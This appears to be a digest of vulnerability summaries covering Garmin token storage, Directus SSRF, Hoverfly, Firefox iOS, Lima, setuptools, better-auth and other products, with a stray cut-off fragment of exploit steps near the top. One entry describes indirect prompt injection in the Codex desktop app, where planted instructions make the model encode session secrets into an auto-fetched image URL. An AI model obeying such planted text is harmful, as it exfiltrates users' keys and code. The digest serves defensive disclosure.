Local credential theft in the garminconnect Python library (versions <= 0.3.4) stems from writing its OAuth token store to disk without an explicit file mode, so under the default umask 022 the file garmin_tokens.json - containing the DI refresh token - is created world-readable (0o644). Any unprivileged co-tenant on a shared Linux or macOS host can read the token and exchange it at Garmin's OAuth endpoint for fresh access tokens, gaining persistent access to the victim's Garmin Connect account. There is no public exploit identified at time of analysis and it is not listed in CISA KEV, but the fix in 0.3.5 is confirmed and the issue is trivially reproducible under default configuration.

Server-side request forgery in Directus before 12.0.0 lets an authenticated user with file-upload rights abuse the /files/import endpoint to make the server fetch internal-only services and return their responses as downloadable files. The flaw stems from an incomplete SSRF denylist in api/src/request/is-denied-ip.ts, which treated 0.0.0.0 as a keyword but never blocked the literal address, so on Linux and macOS a request to 0.0.0.0 resolves to localhost and bypasses the protection. No public exploit identified at time of analysis and it is not in CISA KEV; EPSS was not provided.

Registering a remote post-serve action pointing to a non-responsive endpoint. 2. Loading a catch-all simulation that triggers the action on every request. 3. Sending proxy traffic, each request permanently leaks a goroutine and its associated memory.

Denial of service in Hoverfly's Diff mode (versions ≤ 1.12.7) lets any client with proxy access crash the entire process by sending concurrent requests. The `AddDiff()` function writes to the shared `responsesDiff` map without a mutex, so simultaneous proxy requests - the normal case for a proxy - trigger Go's built-in concurrent-map detector, producing an unrecoverable `fatal error: concurrent map read and map write` that kills the process. Publicly available exploit code exists (a working POC is embedded in the GitHub advisory), though there is no public exploit identified as actively used in the wild and no KEV listing.

Privilege elevation in Microsoft 365 Copilot for iOS lets a remote, unauthenticated attacker gain elevated access after a targeted user is lured into interacting with attacker-controlled content, per Microsoft's MSRC advisory. The flaw stems from improper access control (CWE-284) and carries a High CVSS 3.1 base score of 8.1 with high confidentiality and integrity impact but no availability impact. No public exploit has been identified at time of analysis and it is not listed in CISA KEV, but a vendor patch is available.

Spoofing in the Microsoft Bing Search app for iOS lets a remote attacker present deceptive or overlaid UI content that misleads the victim, because the app improperly restricts how rendered UI layers or frames are displayed (CWE-1021, a UI-redressing/clickjacking class of flaw). An unauthenticated attacker who lures a user into interacting with attacker-controlled content can manipulate what the user sees and trusts, potentially inducing them to act on falsified information. Microsoft has released a fix; there is no public exploit identified at time of analysis and it is not listed in CISA KEV.

Authentication bypass by spoofing in the Elixir ueberauth_apple strategy (0.1.0 through 0.6.1) allows full account takeover because the callback id_token's signature is checked against Apple's JWKS but its registered claims are never validated. Remote unauthenticated attackers who obtain any Apple-signed token carrying the victim's sub - an expired token or one issued to a sibling client in the same Apple developer team - can replay it to log in as the victim. No public exploit identified at time of analysis, but the vendor-confirmed fix (0.6.2) and a clear replay path make this a high-priority auth flaw; EPSS and KEV data were not provided.

PDF save functionality in Firefox for iOS allows maliciously crafted page titles to manipulate the output file path, enabling overwrites of existing PDF files or bundled application content within the Firefox iOS sandbox. All versions prior to 152.4 on Apple iOS devices are affected. An attacker operating a malicious website can lure a user into saving a page as PDF, causing the crafted title to resolve to an unintended file path within the app sandbox - potentially corrupting application state or stored documents. No public exploit has been identified at time of analysis, though SSVC classifies the vulnerability as automatable with partial technical impact.

Local privilege escalation in Lima (lima-vm) before 2.1.3 lets any unprivileged user inside a guest VM reach root when the instance runs the QEMU driver with the guest agent enabled. Because the world-reachable /run/lima-guestagent.sock exposes address tunneling - including Unix sockets for privileged daemons such as D-Bus - an in-guest attacker can proxy to root-owned services and execute arbitrary commands as root. No public exploit identified at time of analysis, and it is not listed in CISA KEV.

Open redirect bypass in openrun prior to v0.17.7 allows remote unauthenticated attackers to redirect victims to arbitrary external URLs by exploiting a double-slash path prefix that evades the application's host/scheme validation. The referrer-based redirect logic correctly validates the host and scheme but passes the extracted path `//attacker.com` to the Location header, which browsers interpret as a protocol-relative URL and resolve to an external destination. A proof-of-concept is publicly documented in the security advisory; no active exploitation has been confirmed by CISA KEV at time of analysis.

Privilege escalation in Palo Alto Networks Prisma® Browser on macOS enables a locally authenticated administrator with access to the local filesystem to perform actions at root privilege level. The vulnerability is scoped exclusively to macOS deployments of Prisma Browser - no other platforms or Palo Alto products are implicated per the advisory. No public exploit identified at time of analysis; the CVSS 4.0 base score of 2.0 reflects the substantial exploitation prerequisites that materially constrain real-world risk despite the full-system impact potential at root level.

Improper certificate validation in the Palo Alto Networks Prisma Access Agent for iOS exposes VPN tunnel traffic to interception and manipulation by a network-adjacent attacker. The flaw (CWE-295) enables a man-in-the-middle position to defeat the agent's TLS/certificate trust chain, allowing an adversary to read or alter traffic that the iOS client believes is securely tunneled. Exploitation is limited to iOS deployments - the Windows, macOS, Linux, Android, and ChromeOS agents are confirmed unaffected. No public exploit code exists and the vulnerability is not listed in the CISA KEV catalog.

Multiple protection mechanism failures in the Data Loss Prevention (DLP) component of Palo Alto Networks Prisma Access Agent for Windows enable a local authenticated user to bypass DLP policy enforcement controls. Only the Windows platform is affected; the Prisma Access Agent for macOS is explicitly excluded per vendor advisory. No public exploit code or active exploitation has been identified at time of analysis, though the CVSS 4.0 supplemental urgency rating of Amber and high confidentiality/integrity impact on the vulnerable system make this a meaningful insider threat risk.

Unauthenticated remote code execution in Joro ≤ v1.1.0 (BishopFox's offensive-security tooling) allows an attacker to gain a shell as the operator's user when that operator merely visits a malicious web page. In the default proxy mode, Joro exposes an unauthenticated local API on 127.0.0.1:9090 with a wildcard CORS policy; because plugin uploads use the CORS-safelisted multipart/form-data content type, cross-origin JavaScript can upload a native Go plugin and trigger a restart through the operator's browser with no preflight or credentials, and the plugin's init() executes on load. No public exploit is identified at time of analysis, but the advisory documents a complete, reproducible attack chain, and the assigned CVSS is 9.6 (Critical).

Setuptools prior to 83.0.0 fails to normalize Unicode filenames before matching them against MANIFEST.in exclusion patterns on macOS APFS and HFS+ filesystems, allowing files with NFD-normalized on-disk names to silently bypass NFC-encoded exclude, global-exclude, recursive-exclude, and prune directives and be packed into Python source distributions. Python package maintainers developing on macOS face a supply chain risk: sensitive files such as credentials, private keys, or environment configs that are correctly listed in MANIFEST.in for exclusion may still appear in tarballs published to PyPI or private registries. No public exploit has been identified at time of analysis, and the vulnerability is not listed in the CISA KEV catalog.

Pre-account-hijacking in the better-auth Node/TypeScript authentication library (versions < 1.6.11 on the stable line and all current `next` pre-releases) lets an unauthenticated attacker seize a victim's account by pre-registering the victim's email via `/sign-up/email`, then having the victim's later OAuth/SSO sign-in implicitly linked to the attacker's row. The result is a single account the attacker controls with a working password login plus the victim's OAuth identity, and the link-time verification flip defeats `requireEmailVerification: true`. No public exploit identified at time of analysis; not listed in CISA KEV, though the flaw is the same class as Microsoft nOAuth (2023) and the Sign in with Apple JWT flaw (2020).

Address bar spoofing in Firefox for iOS allows a remote unauthenticated attacker to display a trusted origin in the browser's address bar while the victim views and interacts with fully attacker-controlled content - a classic and effective phishing enabler. The attack exploits a race condition in navigation handling: a malicious page enqueues a synchronous JavaScript dialog at the moment a user navigates away, freezing the address bar on the destination's legitimate origin while the malicious page's content continues to render. No public exploit code has been identified and EPSS is 0.15% (4th percentile), indicating no observed widespread exploitation; however, the technique is conceptually simple and phishing value is high.

Remote image auto-fetch in the OpenAI Codex desktop app for macOS (versions prior to 26.527.31326) enables silent exfiltration of session secrets via indirect prompt injection. An attacker who can place malicious instructions into content processed by Codex - such as a tool result, API response, or file read during a session - can manipulate the model into generating a Markdown image tag whose URL encodes sensitive data; the app then automatically fetches that URL, transmitting API keys, source code, or tool-returned data to an attacker-controlled server with no additional user action. No active exploitation is confirmed (not listed in CISA KEV), no public proof-of-concept is identified, and EPSS sits at 0.16% (6th percentile), indicating low current exploitation probability despite the high-value target profile of affected users.

OS command injection in create-react-app's react-dev-utils component enables remote code execution on macOS developer workstations running version 5.0.1 or earlier. The vulnerability resides in the startBrowserProcess function of openBrowser.js, which processes unsanitized input that reaches a shell invocation. A publicly available proof-of-concept exploit exists via the project's GitHub issue tracker; no vendor patch has been released and the maintainers have not responded to disclosure, leaving the entire supported version history of this widely-used but now-archived tool permanently unpatched.

Source-code disclosure in the Algernon web/application server (Go, xyproto/algernon, tested at v1.17.8) lets an unauthenticated remote client retrieve the raw source of any public-path server-side script on Windows hosts by appending an NTFS-equivalent suffix (::$DATA, a trailing dot, or a trailing space) to the URL. Because filepath.Ext() does an exact suffix match, these forms are not recognized as .lua/.tl/.po2/.amber/.frm and fall through to the raw-file branch, while NTFS canonicalizes the name back to the real script, exposing embedded database credentials and the SetCookieSecret value used to forge session cookies. Publicly available exploit code exists (full PoC in the GitHub advisory); no public exploit identified as actively exploited and this is not in CISA KEV.

SQL injection in the iNET Webkit WordPress plugin (version 1.2.4 and prior) lets authenticated users holding at least the Contributor role inject arbitrary SQL through unsanitized input, exposing the WordPress database. Reported by Patchstack and carrying a CVSS 8.5 (scope-changed) rating, it enables read access to sensitive data such as user credentials and secrets. No public exploit identified at time of analysis, and it is not listed in CISA KEV.

Local privilege escalation in Cato Client on macOS allows an authenticated low-privileged user to gain root by chaining two flaws in the PrivilegedHelperTool XPC service: improper certificate validation (CWE-295) that accepts self-signed certificates to bypass XPC caller verification, and a TOCTOU race condition exploitable via symlink swap during package installation. All Cato Client (SDP Client) versions prior to 5.13.1 on macOS are affected. A proof-of-concept exists per the CVSS 4.0 supplemental metric E:P, and the AU:Y (Automatable) tag indicates the exploit chain can be scripted - elevating practical urgency despite the absence of a CISA KEV listing.
